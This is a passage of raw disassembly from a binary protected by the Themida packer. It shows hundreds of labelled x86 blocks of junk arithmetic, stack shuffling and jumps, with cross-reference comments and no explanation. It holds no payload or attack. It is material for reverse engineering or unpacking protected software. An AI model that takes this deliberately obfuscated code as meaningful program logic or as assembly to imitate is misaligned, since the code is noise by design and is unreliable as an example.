--------------------------------------------------------------------------- loc_55E63E: ; CODE XREF: Themida_:0055FC7Dj xor ebp, 653F1A83h jmp loc_565002 ; --------------------------------------------------------------------------- mov cx, [esp] push esi push ebx jmp loc_559023 ; --------------------------------------------------------------------------- loc_55E654: ; CODE XREF: Themida_:005644E8j xor ah, dl pop edx jmp loc_5611EC ; --------------------------------------------------------------------------- loc_55E65C: ; CODE XREF: Themida_:0055E593j xor ebx, 12803109h add edi, 59281C69h sub edi, ebx push edx mov edx, 70F83345h and edx, 1CB555FFh xor edx, 3D3B3D0Eh jmp loc_5575CC ; --------------------------------------------------------------------------- loc_55E681: ; CODE XREF: Themida_:00558A99j push esi not dword ptr [esp] pop esi neg esi jmp loc_557BDB ; --------------------------------------------------------------------------- loc_55E68D: ; CODE XREF: Themida_:00562156j mov ecx, [esp] add esp, 4 push edx push edi mov edi, 16545F5Bh mov edx, 0E9ABA0A4h add edx, edi pop edi add ebp, 3AFD160Dh jmp loc_562095 ; --------------------------------------------------------------------------- loc_55E6AD: ; CODE XREF: Themida_:00554EAFj mov edx, 64054AE5h push 64054AE1h pop eax xor eax, edx jmp loc_554A9A ; --------------------------------------------------------------------------- loc_55E6BF: ; CODE XREF: Themida_:00557FCDj pop eax xor esi, [esp] xor [esp], esi jmp loc_5599A4 ; --------------------------------------------------------------------------- loc_55E6CB: ; CODE XREF: Themida_:0055CF00j sub ecx, 40C03967h sub ecx, 2E9E7ED8h or edi, ecx pop ecx jmp loc_5630F8 ; --------------------------------------------------------------------------- loc_55E6DF: ; CODE XREF: Themida_:0055BBE7j mov ecx, 0D046478h mov ebp, 0D7D744FDh xor ebp, ecx jmp loc_55BAC5 ; --------------------------------------------------------------------------- loc_55E6F0: ; CODE XREF: Themida_:0055526Aj pop bx neg al dec al xor al, 0C1h mov bh, al mov eax, [esp] add esp, 4 sub bh, 9Ah and bh, 9Eh push ecx mov ch, 19h neg ch shr ch, 2 dec ch not ch inc ch and ch, 2Ah jmp loc_55A560 ; --------------------------------------------------------------------------- loc_55E71F: ; CODE XREF: Themida_:00552195j pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_559953 ; --------------------------------------------------------------------------- loc_55E72B: ; CODE XREF: Themida_:00557430j xchg edi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_5562CB ; --------------------------------------------------------------------------- loc_55E739: ; CODE XREF: Themida_:00560A8Bj pop dword ptr [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], ebx push 61AA0447h pop ebx add ebx, 3AD76012h jmp loc_55D682 ; --------------------------------------------------------------------------- loc_55E759: ; CODE XREF: Themida_:00557194j pop ecx push edx mov dh, 5Eh or dh, 0F0h jmp loc_56318B ; --------------------------------------------------------------------------- loc_55E765: ; CODE XREF: Themida_:0055CB8Ej mov esp, [esp] xor [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55E772: ; CODE XREF: Themida_:0055A528j xchg eax, [esp] mov esp, [esp] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55E77D: ; CODE XREF: Themida_:0055307Ej push ebp push esi mov esi, 45451917h jmp loc_55C077 ; --------------------------------------------------------------------------- loc_55E789: ; CODE XREF: Themida_:0055A040j push dword ptr [esp] pop eax jmp loc_559FF5 ; --------------------------------------------------------------------------- loc_55E792: ; CODE XREF: Themida_:00552B5Fj add ecx, esi add ecx, 46D856C2h pop esi xchg ecx, [esp] pop esp push ecx mov ecx, 6D437309h add eax, ecx pop ecx jmp loc_56533E ; --------------------------------------------------------------------------- loc_55E7AD: ; CODE XREF: Themida_:00554BADj mov ecx, [esp] push eax mov eax, esp jmp loc_559087 ; --------------------------------------------------------------------------- loc_55E7B8: ; CODE XREF: Themida_:0055D1EFj mov ah, dh pop edx xor ah, dl pop edx mov dh, ah jmp loc_55F48A ; --------------------------------------------------------------------------- loc_55E7C5: ; CODE XREF: Themida_:0056502Dj mov [esp], ecx mov ecx, esp push ebx mov ebx, 74946A36h push edx push ebp mov ebp, 7BD756ADh mov edx, ebp mov ebp, [esp] add esp, 4 xor ebx, edx jmp loc_55D7C3 ; --------------------------------------------------------------------------- loc_55E7E6: ; CODE XREF: Themida_:00563C3Cj pop edx jmp loc_55640F ; --------------------------------------------------------------------------- loc_55E7EC: ; CODE XREF: Themida_:00563A7Cj push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push ebx mov ebx, 66E92E87h mov esi, ebx jmp loc_5572EB ; --------------------------------------------------------------------------- loc_55E80C: ; CODE XREF: Themida_:00560A7Ej and bl, 0AFh push edx mov dl, 11h or dl, 49h dec dl neg dl push ecx mov cl, 9Fh jmp loc_55DF57 ; --------------------------------------------------------------------------- loc_55E821: ; CODE XREF: Themida_:00558CC1j pop esp or [edi+1Ch], ecx pop ecx jmp loc_55DDB6 ; --------------------------------------------------------------------------- loc_55E82B: ; CODE XREF: Themida_:0055A117j push ebx jmp loc_564C2D ; --------------------------------------------------------------------------- loc_55E831: ; CODE XREF: Themida_:0055D2D8j push 75DDh mov [esp], eax push 7E9Fh jmp loc_5613C5 ; --------------------------------------------------------------------------- loc_55E843: ; CODE XREF: Themida_:00561983j push ebx jmp loc_561374 ; --------------------------------------------------------------------------- loc_55E849: ; CODE XREF: Themida_:0056531Ej sub ecx, esi pop esi shl ecx, 8 inc ecx shl ecx, 3 jmp loc_555C9A ; --------------------------------------------------------------------------- loc_55E858: ; CODE XREF: Themida_:0055DADAj pop ecx push ebp jmp loc_554906 ; --------------------------------------------------------------------------- loc_55E85F: ; CODE XREF: Themida_:0055ADACj mov [esp], ecx push eax mov eax, 3FCh push esi push eax jmp loc_562234 ; --------------------------------------------------------------------------- loc_55E86F: ; CODE XREF: Themida_:0055EAEDj pop esp sub esp, 4 mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp imul ecx, eax jmp loc_55F72F ; --------------------------------------------------------------------------- loc_55E88F: ; CODE XREF: Themida_:00556F86j pop ecx xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebx push 1331h mov [esp], edi push edx jmp loc_563B24 ; --------------------------------------------------------------------------- loc_55E8AD: ; CODE XREF: Themida_:00556124j push 0B0B0C702h jmp loc_563684 ; --------------------------------------------------------------------------- loc_55E8B7: ; CODE XREF: Themida_:00558FACj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebp, esi pop esi mov edi, [esp] push ebp mov ebp, esp push edi mov edi, 4CB20C3h shl edi, 5 jmp loc_556ADE ; --------------------------------------------------------------------------- loc_55E8DD: ; CODE XREF: Themida_:00562189j pop edi add esp, 4 sub ebp, 2801000h add eax, ebp mov ebp, [esp] jmp loc_558EF2 ; --------------------------------------------------------------------------- loc_55E8F4: ; CODE XREF: Themida_:005608F2j sub edx, 1ED57BACh pop eax push ecx mov ecx, 6A024D0Fh shl ecx, 8 add ecx, 0FFFFFFFFh shr ecx, 4 neg ecx shr ecx, 7 jmp loc_55FCB5 ; --------------------------------------------------------------------------- loc_55E914: ; CODE XREF: Themida_:00563907j mov edx, ecx mov edi, edx pop edx jmp loc_558E5C ; --------------------------------------------------------------------------- loc_55E91E: ; CODE XREF: Themida_:0055FF22j pop ecx neg ecx xor ecx, 468D7AB1h jmp loc_557790 ; --------------------------------------------------------------------------- loc_55E92C: ; CODE XREF: Themida_:00556679j mov ebp, edx pop edx jmp loc_559771 ; --------------------------------------------------------------------------- loc_55E934: ; CODE XREF: Themida_:0055A944j sub esp, 4 mov [esp], edx mov edx, 1470710Dh mov edi, edx jmp loc_564A75 ; --------------------------------------------------------------------------- loc_55E949: ; CODE XREF: Themida_:005608C1j mov [esp], esi push 1DEE1704h pop esi add esi, 0E211E900h mov ebp, esi jmp loc_55D526 ; --------------------------------------------------------------------------- loc_55E95F: ; CODE XREF: Themida_:00554951j push ebp jmp loc_5634F5 ; --------------------------------------------------------------------------- loc_55E965: ; CODE XREF: Themida_:00565212j xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 4 add edi, 143B48C7h add edi, ecx sub edi, 143B48C7h jmp loc_557518 ; --------------------------------------------------------------------------- loc_55E984: ; CODE XREF: Themida_:0055EE92j pop esi push ebp mov ebp, 74594E5Dh add ebx, 73D81043h sub ebx, ebp push edi mov edi, 241F1A1Ah neg edi xor edi, 75030F82h jmp loc_563ADB ; --------------------------------------------------------------------------- loc_55E9A6: ; CODE XREF: Themida_:005659A4j push dword ptr [esp] pop edx jmp loc_5560DD ; --------------------------------------------------------------------------- loc_55E9AF: ; CODE XREF: Themida_:0055D455j sub edi, 8BD3754h shl edi, 4 xor edi, 0B5EB1F84h push esi jmp loc_5618A5 ; --------------------------------------------------------------------------- loc_55E9C4: ; CODE XREF: Themida_:00562B98j pop edi push 0 push dword ptr [esp] mov ebx, [esp] jmp loc_553117 ; --------------------------------------------------------------------------- loc_55E9D5: ; CODE XREF: Themida_:00562FADj push esi jmp loc_55F922 ; --------------------------------------------------------------------------- loc_55E9DB: ; CODE XREF: Themida_:005568A6j add eax, 671903A3h jmp loc_563AB7 ; --------------------------------------------------------------------------- loc_55E9E5: ; CODE XREF: Themida_:00562170j pop esp pop ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp jmp loc_556FE3 ; --------------------------------------------------------------------------- loc_55E9F6: ; CODE XREF: Themida_:005622DCj push ebp mov ebp, 4 add edi, ebp pop ebp add edi, 4 xchg edi, [esp] jmp loc_553C83 ; --------------------------------------------------------------------------- loc_55EA0D: ; CODE XREF: Themida_:005649D9j mov edi, 76D83573h sub eax, edi jmp loc_557373 ; --------------------------------------------------------------------------- loc_55EA19: ; CODE XREF: Themida_:00561A47j dec ebx add ebx, 0E36A1CADh add esi, ebx pop ebx jmp loc_55AD4A ; --------------------------------------------------------------------------- loc_55EA28: ; CODE XREF: Themida_:005649CFj pop dword ptr [esp] pop esp jmp loc_55B991 ; --------------------------------------------------------------------------- loc_55EA31: ; CODE XREF: Themida_:00560793j push edi push ebp push 3C7215BAh jmp loc_55EF7B ; --------------------------------------------------------------------------- loc_55EA3D: ; CODE XREF: Themida_:00562E8Bj pop eax push dword ptr [esp] pop edi add esp, 4 push 75A7h mov [esp], edx mov edx, 15FE0301h push ecx mov ecx, 7FCD743Ah jmp loc_554372 ; --------------------------------------------------------------------------- loc_55EA5D: ; CODE XREF: Themida_:0055579Dj xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, 6DE94B01h jmp loc_561F96 ; --------------------------------------------------------------------------- loc_55EA71: ; CODE XREF: Themida_:00552CAEj push ecx mov ecx, 639526F6h shr ecx, 4 add ecx, 0FFFFFFFFh jmp loc_5619C4 ; --------------------------------------------------------------------------- loc_55EA85: ; CODE XREF: Themida_:0055A04Aj sub ebp, edx pop edx xor ecx, ebp pop ebp add eax, ecx jmp loc_555350 ; --------------------------------------------------------------------------- loc_55EA92: ; CODE XREF: Themida_:00559E3Fj push esi push ebp push 4E83428Dh pop ebp push ebx push edi mov edi, 4A9D7676h jmp loc_55B698 ; --------------------------------------------------------------------------- loc_55EAA6: ; CODE XREF: Themida_:00564E8Bj mov ebp, 5E113248h jmp loc_563FAE ; --------------------------------------------------------------------------- loc_55EAB0: ; CODE XREF: Themida_:0055AAAEj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub bh, 0ADh jmp loc_5603B4 ; --------------------------------------------------------------------------- loc_55EAC7: ; CODE XREF: Themida_:0055FA56j add ebx, 32857D33h pop eax jmp loc_55B33E ; --------------------------------------------------------------------------- loc_55EAD3: ; CODE XREF: Themida_:005519F1j push esi jmp loc_55648F ; --------------------------------------------------------------------------- loc_55EAD9: ; CODE XREF: Themida_:0055B133j add edi, ecx mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_55E86F ; --------------------------------------------------------------------------- loc_55EAF2: ; CODE XREF: Themida_:00553915j xor edx, 142C2373h sub edx, 0F6C62EBFh add ecx, edx pop edx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ebp mov ebp, 3EFF0C61h jmp loc_55067E ; --------------------------------------------------------------------------- loc_55EB1C: ; CODE XREF: Themida_:00557DC8j shl edx, 3 push ebp mov ebp, 0E02378D4h sub edx, ebp pop ebp jmp loc_5646EB ; --------------------------------------------------------------------------- loc_55EB2D: ; CODE XREF: Themida_:0055528Aj mov edi, [esp] add esp, 4 add edx, 462154D8h jmp loc_55F736 ; --------------------------------------------------------------------------- loc_55EB41: ; CODE XREF: Themida_:0055C979j mov edi, [esp] push ecx mov ecx, esp jmp loc_55D636 ; --------------------------------------------------------------------------- loc_55EB4C: ; CODE XREF: Themida_:00552C17j add esp, 4 xchg esi, [esp] pop esp push small 2660h mov [esp], bx push 1E29h mov [esp], ecx mov ch, 0CBh push 0 add byte ptr [esp], 7 jmp loc_559D16 ; --------------------------------------------------------------------------- loc_55EB73: ; CODE XREF: Themida_:0055F76Bj push 2C5Fh mov [esp], ecx jmp loc_551491 ; --------------------------------------------------------------------------- loc_55EB80: ; CODE XREF: Themida_:00552811j pop esp push edx mov dl, 6Fh push bx mov bh, 34h sub dl, bh jmp loc_563E86 ; --------------------------------------------------------------------------- loc_55EB8F: ; CODE XREF: Themida_:0055772Fj add al, dl pop dx jmp loc_55A813 ; --------------------------------------------------------------------------- loc_55EB98: ; CODE XREF: Themida_:005633F6j mov ebx, [esp] jmp loc_55C52F ; --------------------------------------------------------------------------- loc_55EBA0: ; CODE XREF: Themida_:0055C101j add dh, 0F0h add dh, 0E5h mov bh, dh pop edx jmp loc_562D6D ; --------------------------------------------------------------------------- loc_55EBAE: ; CODE XREF: Themida_:005553EAj add eax, 4E84BFCEh sub ebx, 34977A1Ch sub ebx, eax jmp loc_55423B ; --------------------------------------------------------------------------- loc_55EBC0: ; CODE XREF: Themida_:005581ECj push ebx mov ebx, ebp push ebx pop eax pop ebx mov ebp, [esp] jmp loc_55A832 ; --------------------------------------------------------------------------- loc_55EBCE: ; CODE XREF: Themida_:00562461j dec ebx xor ebx, 2897AAEh mov ecx, ebx pop ebx jmp loc_55A50F ; --------------------------------------------------------------------------- loc_55EBDD: ; CODE XREF: Themida_:00551C95j add edx, ebx jmp loc_55C1A0 ; --------------------------------------------------------------------------- loc_55EBE4: ; CODE XREF: Themida_:0055FBE5j pop eax add esp, 4 sub ebx, 42ED3787h add ebp, ebx jmp loc_55FF35 ; --------------------------------------------------------------------------- loc_55EBF8: ; CODE XREF: Themida_:005647CDj pop esp mov [esp], eax mov eax, esp push edi mov edi, 0AB44BAEh shr edi, 8 shr edi, 8 or edi, 73FB6899h jmp loc_553E9B ; --------------------------------------------------------------------------- loc_55EC15: ; CODE XREF: Themida_:00560EA5j mov edi, esp add edi, 4 sub edi, 4 jmp loc_56381E ; --------------------------------------------------------------------------- loc_55EC28: ; CODE XREF: Themida_:0055675Aj add esp, 4 pop edi push ebp push 250h mov [esp], eax push 4D0643Ah pop eax xor eax, 3C620338h push eax pop ebp mov eax, [esp] add esp, 4 push esi push edi push 25B9h mov [esp], ebp mov ebp, 1A813C2Ah mov edi, 5333A32Dh sub edi, ebp pop ebp sub esp, 4 mov [esp], edi pop esi mov edi, [esp] jmp loc_55077A ; --------------------------------------------------------------------------- loc_55EC77: ; CODE XREF: Themida_:00550D44j push ebp push edi push 31283817h pop edi shr edi, 8 jmp loc_55FD14 ; --------------------------------------------------------------------------- loc_55EC87: ; CODE XREF: Themida_:0056048Cj mov [esp], esi push edx push 56C10B2Bh mov edx, [esp] add esp, 4 jmp loc_564B4E ; --------------------------------------------------------------------------- loc_55EC9B: ; CODE XREF: Themida_:00555DFDj mov ecx, 6B875D13h neg ecx add ecx, 393F2144h jmp loc_560F9D ; --------------------------------------------------------------------------- loc_55ECAD: ; CODE XREF: Themida_:00561891j sub eax, ebx add eax, 6BDE5BBBh sub eax, 209135FFh sub eax, 43AF6A7Dh jmp loc_55F23C ; --------------------------------------------------------------------------- loc_55ECC3: ; CODE XREF: Themida_:00560A43j mov ebx, 6B440506h dec ebx xor ebx, 352663F8h sub ebx, 5E6266F9h jmp loc_556540 ; --------------------------------------------------------------------------- loc_55ECDA: ; CODE XREF: Themida_:0055ADC0j pop edx sub al, 8 push small 792Bh jmp loc_55EE31 ; --------------------------------------------------------------------------- loc_55ECE6: ; CODE XREF: Themida_:0056305Cj push ecx push dword ptr [esp+4] pop ecx jmp loc_564187 ; --------------------------------------------------------------------------- loc_55ECF1: ; CODE XREF: Themida_:0055A702j add edi, ebx jmp loc_556C6B ; --------------------------------------------------------------------------- loc_55ECF8: ; CODE XREF: Themida_:0055D0E8j add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub edi, eax pop eax sub edi, 70216A5Bh sub edi, 77054E89h add edi, ecx add edi, 77054E89h add edi, 70216A5Bh add edi, 7E21219Ah std push 43DDh mov [esp], eax mov eax, esp push edi jmp loc_55503C ; --------------------------------------------------------------------------- loc_55ED41: ; CODE XREF: Themida_:00564305j add esp, 4 jmp loc_557AF1 ; --------------------------------------------------------------------------- loc_55ED4C: ; CODE XREF: Themida_:00553545j sub ebx, 7354614Fh sub ebx, esi push 467h mov [esp], esi mov esi, 77E03DF8h sub esi, 48BDCA9h add ebx, esi pop esi sub ebx, 0FD411DEh jmp loc_55777F ; --------------------------------------------------------------------------- loc_55ED75: ; CODE XREF: Themida_:005566BFj push edx mov edx, 278C7679h shl edx, 7 jmp loc_55C4F3 ; --------------------------------------------------------------------------- loc_55ED83: ; CODE XREF: Themida_:005529A9j inc eax push ecx mov ecx, 18166449h xor eax, ecx jmp loc_552AF8 ; --------------------------------------------------------------------------- loc_55ED91: ; CODE XREF: Themida_:00550775j xor al, 0A1h or dl, al pop eax jmp loc_55A7CB ; --------------------------------------------------------------------------- loc_55ED9B: ; CODE XREF: Themida_:005607E9j mov edx, 0 sub edx, 4DC109C7h sub edx, ecx add edx, 4DC109C7h push esi mov esi, edx jmp loc_561AEE ; --------------------------------------------------------------------------- loc_55EDB6: ; CODE XREF: Themida_:0055A760j sub ebx, 4 xchg ebx, [esp] pop esp push 3358h jmp loc_562C6F ; --------------------------------------------------------------------------- loc_55EDCA: ; CODE XREF: Themida_:00555940j and al, 77h sub al, 7Bh or al, 0F1h push ebx jmp loc_554B53 ; --------------------------------------------------------------------------- loc_55EDD6: ; CODE XREF: Themida_:005514E1j xor ecx, eax xor eax, ecx sub esp, 4 mov [esp], ecx xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_552FE5 ; --------------------------------------------------------------------------- loc_55EDEE: ; CODE XREF: Themida_:0055FD2Fj sub eax, edi push dword ptr [esp] pop edi add esp, 4 sub dword ptr [esp], 1F7F0D86h add [esp], eax push 904h jmp loc_558931 ; --------------------------------------------------------------------------- loc_55EE0E: ; CODE XREF: Themida_:00552144j mov ebp, esp push ebx mov ebx, 3DA172DCh jmp loc_551EAE ; --------------------------------------------------------------------------- loc_55EE1B: ; CODE XREF: Themida_:00557C86j sub ecx, 1F59481Ch jmp loc_55AA4B ; --------------------------------------------------------------------------- loc_55EE26: ; CODE XREF: Themida_:00559A12j add ebx, 4 jmp loc_55C893 ; --------------------------------------------------------------------------- loc_55EE31: ; CODE XREF: Themida_:0055ECE1j mov [esp], dx push eax sub esp, 4 mov [esp], ecx jmp loc_559A92 ; --------------------------------------------------------------------------- loc_55EE41: ; CODE XREF: Themida_:00557BD6j add ebx, 3CD23762h inc ebx shl ebx, 4 and ebx, 5E361994h add ebx, 174B53C3h add edi, ebx pop ebx push eax push 146661DBh pop eax add edi, 1C6B580Ch sub edi, eax sub edi, 1C6B580Ch pop eax push eax jmp loc_554AF5 ; --------------------------------------------------------------------------- loc_55EE76: ; CODE XREF: Themida_:00560DBCj xor ebx, 0E9763F89h xor ecx, ebx pop ebx jmp loc_5604DB ; --------------------------------------------------------------------------- loc_55EE84: ; CODE XREF: Themida_:00551753j push 52DB1B7Ch pop esi sub esi, 52DB1B7Ah mov edx, esi jmp loc_55E984 ; --------------------------------------------------------------------------- loc_55EE97: ; CODE XREF: Themida_:00551B6Bj mov esp, [esp] mov ax, [esp] push eax sub esp, 4 jmp loc_560B83 ; --------------------------------------------------------------------------- loc_55EEA7: ; CODE XREF: Themida_:00563374j push edx jmp loc_55CF5F ; --------------------------------------------------------------------------- mov cx, [esp] push 5850h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push 3FA8h mov [esp], eax push 4 pop eax push ebp mov ebp, 24AC71B7h not ebp and ebp, 77724951h add ebp, 0D9924F31h push ecx mov ecx, 39D30A3Eh jmp loc_564503 ; --------------------------------------------------------------------------- loc_55EEED: ; CODE XREF: Themida_:00564D1Bj cmp ecx, eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55EEF5: ; CODE XREF: Themida_:0055759Fj pop esi add esp, 4 add esi, 5B1DCB3Dh sub eax, 7F207A9Ah jmp loc_55DF31 ; --------------------------------------------------------------------------- loc_55EF09: ; CODE XREF: Themida_:0055BDEFj pop ebx jmp loc_55AD6C ; --------------------------------------------------------------------------- loc_55EF0F: ; CODE XREF: Themida_:005519BBj mov ah, dh jmp loc_56079F ; --------------------------------------------------------------------------- loc_55EF16: ; CODE XREF: Themida_:00555CD0j mov [esp], ecx jmp loc_560A0F ; --------------------------------------------------------------------------- loc_55EF1E: ; CODE XREF: Themida_:00557251j pop edi push esi mov esi, 59BB353Dh xor ebx, esi pop esi push ebx add dword ptr [esp], 0FFFFFFFFh pop ebx jmp loc_5551D9 ; --------------------------------------------------------------------------- loc_55EF33: ; CODE XREF: Themida_:005567F3j pop esp mov [esp], edx mov edx, 38002E0Bh sub eax, edx pop edx jmp loc_55DDC8 ; --------------------------------------------------------------------------- loc_55EF44: ; CODE XREF: Themida_:00557446j pop esp push ebp mov ebp, 2 add ecx, ebp pop ebp push ecx push dword ptr [esp+4] push dword ptr [esp] jmp loc_555820 ; --------------------------------------------------------------------------- loc_55EF5B: ; CODE XREF: Themida_:0056213Ej sub edx, 8051B3E6h sub ebp, 264D1577h jmp loc_56034F ; --------------------------------------------------------------------------- loc_55EF6C: ; CODE XREF: Themida_:005560C5j push esi push ebx mov ebx, 2010222Bh mov esi, ebx pop ebx jmp loc_563DA4 ; --------------------------------------------------------------------------- loc_55EF7B: ; CODE XREF: Themida_:0055EA38j pop ebp jmp loc_55DD64 ; --------------------------------------------------------------------------- loc_55EF81: ; CODE XREF: Themida_:00558092j push edx mov edx, 0EDC077Bh shl edx, 6 xor edx, 3AD6033Ch sub edx, 40C481F0h sub ebx, 259D76F9h add ebx, edx add ebx, 259D76F9h pop edx sub esp, 4 mov [esp], esi jmp loc_55528F ; --------------------------------------------------------------------------- loc_55EFB0: ; CODE XREF: Themida_:00563CABj mov ebx, 0EA33C7Dh not ebx shl ebx, 3 jmp loc_56006E ; --------------------------------------------------------------------------- loc_55EFBF: ; CODE XREF: Themida_:005556E0j mov ebp, 32426CC6h sub [esp+4], ebp pop ebp mov edx, [esp] jmp loc_556EF1 ; --------------------------------------------------------------------------- loc_55EFD1: ; CODE XREF: Themida_:005522BCj mov [esp], eax push ebp jmp loc_5643C4 ; --------------------------------------------------------------------------- loc_55EFDA: ; CODE XREF: Themida_:0055BA4Cj pop eax sub dl, bh add dl, 0DBh mov ebx, [esp] add esp, 4 sub al, 6Bh jmp loc_55AEE2 ; --------------------------------------------------------------------------- loc_55EFF0: ; CODE XREF: Themida_:0055D31Aj pop eax sub esi, ebx pop ebx jmp loc_55B6FF ; --------------------------------------------------------------------------- loc_55EFF9: ; CODE XREF: Themida_:0056279Ej mov bh, [esp+2] mov [esp+2], dl mov dx, [esp] push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 2 add ecx, ebx pop ebx xchg ecx, [esp] pop esp jmp loc_550420 ; --------------------------------------------------------------------------- loc_55F020: ; CODE XREF: Themida_:00561DABj add eax, esi mov esi, [esp] jmp loc_556509 ; --------------------------------------------------------------------------- loc_55F02A: ; CODE XREF: Themida_:0055616Bj push 277h mov [esp], ebp mov ebp, 6B6D538Fh push 3E8Ch mov [esp], ebp jmp loc_55370B ; --------------------------------------------------------------------------- loc_55F044: ; CODE XREF: Themida_:00563297j add eax, 29760E7Bh jmp loc_562E1E ; --------------------------------------------------------------------------- loc_55F04E: ; CODE XREF: Themida_:00565929j shl ecx, 4 push edi sub esp, 4 mov [esp], ebp jmp loc_55F50D ; --------------------------------------------------------------------------- loc_55F05D: ; CODE XREF: Themida_:00556B4Cj sub ecx, edi pop edi jmp loc_560033 ; --------------------------------------------------------------------------- loc_55F065: ; CODE XREF: Themida_:00563F65j push edx mov edx, 1BB10711h dec edx not edx add edx, 1BB10715h mov esi, edx pop edx jmp loc_55ADC5 ; --------------------------------------------------------------------------- loc_55F07C: ; CODE XREF: Themida_:00555D11j push edi jmp loc_55F396 ; --------------------------------------------------------------------------- loc_55F082: ; CODE XREF: Themida_:00550580j xor [esp], esi xor esi, [esp] mov esp, [esp] mov ax, [esp] push 7CDEh mov [esp], esi push 25D2h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_550C4D ; --------------------------------------------------------------------------- loc_55F0CF: ; CODE XREF: Themida_:00564395j pop edi sub esp, 4 jmp loc_5626BA ; --------------------------------------------------------------------------- loc_55F0D8: ; CODE XREF: Themida_:0055E191j xchg ebp, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55F0E9: ; CODE XREF: Themida_:005642CBj not eax sub eax, 0A5DF9F7h add ecx, eax mov eax, [esp] push edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax pop eax push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ebx mov ebx, 4 jmp loc_55CE1C ; --------------------------------------------------------------------------- loc_55F11C: ; CODE XREF: Themida_:0055FDF9j sub esp, 2 mov [esp], cx mov ch, 0D2h add al, ch mov cx, [esp] jmp loc_55887D ; --------------------------------------------------------------------------- loc_55F130: ; CODE XREF: Themida_:00565B78j mov eax, edi jmp loc_55672C ; --------------------------------------------------------------------------- loc_55F137: ; CODE XREF: Themida_:00561320j add ebx, 4 jmp loc_557440 ; --------------------------------------------------------------------------- lodsb jmp loc_55F545 ; --------------------------------------------------------------------------- loc_55F148: ; CODE XREF: Themida_:00560918j push ebx mov ebx, 121F67D9h and ebx, 2601331Fh push ecx mov ecx, 37923609h sub ecx, 12A07EFDh add ecx, 0F4FA6FB5h or ebx, ecx jmp loc_559B05 ; --------------------------------------------------------------------------- loc_55F16D: ; CODE XREF: Themida_:00554408j shr eax, 2 shl eax, 7 add eax, 17496A1Fh sub ebx, eax mov eax, [esp] add esp, 4 sub ebx, 48FA09C5h sub ebx, ecx jmp loc_55C7B1 ; --------------------------------------------------------------------------- loc_55F18D: ; CODE XREF: Themida_:0055982Ej push ebp mov ebp, 0DB796148h jmp loc_55B2D2 ; --------------------------------------------------------------------------- loc_55F198: ; CODE XREF: Themida_:00562F80j sub esi, 79A516DCh add esi, edx add esi, 79A516DCh push ebp push 5E61h mov [esp], edx mov edx, 57241459h mov ebp, edx mov edx, [esp] add esp, 4 push 0BBCh mov [esp], ebp jmp loc_55B188 ; --------------------------------------------------------------------------- loc_55F1C9: ; CODE XREF: Themida_:00551833j sub ebp, 76AF04C3h jmp loc_5612F4 ; --------------------------------------------------------------------------- push small 1906h push small 8B7h push sp pop small word ptr [esp] sub esp, 2 mov [esp], di push eax mov ax, 2 push ax add word ptr [esp], 289Ch pop di sub di, 289Ch jmp loc_55BF90 ; --------------------------------------------------------------------------- loc_55F202: ; CODE XREF: Themida_:0055BA40j push edi mov edi, 32AC16BFh jmp loc_55B8FF ; --------------------------------------------------------------------------- loc_55F20D: ; CODE XREF: Themida_:00560270j dec ecx sub ecx, 7AE5A543h jmp loc_551527 ; --------------------------------------------------------------------------- loc_55F219: ; CODE XREF: Themida_:00553864j sub esp, 4 mov [esp], ebx push ecx jmp loc_555457 ; --------------------------------------------------------------------------- loc_55F228: ; CODE XREF: Themida_:005526A4j add ecx, 4 sub esp, 4 mov [esp], ebp jmp loc_55FBCC ; --------------------------------------------------------------------------- loc_55F23C: ; CODE XREF: Themida_:0055ECBEj push 610Ch mov [esp], esi mov esi, 70EB34E9h push 11E3h mov [esp], ebp mov ebp, 0D4FA7EB3h push edi jmp loc_555A21 ; --------------------------------------------------------------------------- loc_55F25C: ; CODE XREF: Themida_:00560653j jmp loc_550420 ; --------------------------------------------------------------------------- loc_55F261: ; CODE XREF: Themida_:0055E3E9j shl ebp, 5 jmp loc_55F618 ; --------------------------------------------------------------------------- loc_55F269: ; CODE XREF: Themida_:0055D8F2j pop ecx jmp loc_556E73 ; --------------------------------------------------------------------------- loc_55F26F: ; CODE XREF: Themida_:00565B54j pop ecx add esp, 4 xor esi, 0D076B94Bh jmp loc_552D24 ; --------------------------------------------------------------------------- loc_55F27E: ; CODE XREF: Themida_:00554FA0j mov eax, esp add eax, 4 push 2440h mov [esp], esi jmp loc_550B38 ; --------------------------------------------------------------------------- loc_55F292: ; CODE XREF: Themida_:0055B8A9j mov esi, esp add esi, 4 sub esi, 4 jmp loc_55303B ; --------------------------------------------------------------------------- loc_55F2A2: ; CODE XREF: Themida_:00554F33j add ecx, eax jmp loc_5634C1 ; --------------------------------------------------------------------------- loc_55F2A9: ; CODE XREF: Themida_:0055E3B6j pop esp mov [esp], esi mov esi, esp push 5091h jmp loc_560736 ; --------------------------------------------------------------------------- loc_55F2B9: ; CODE XREF: 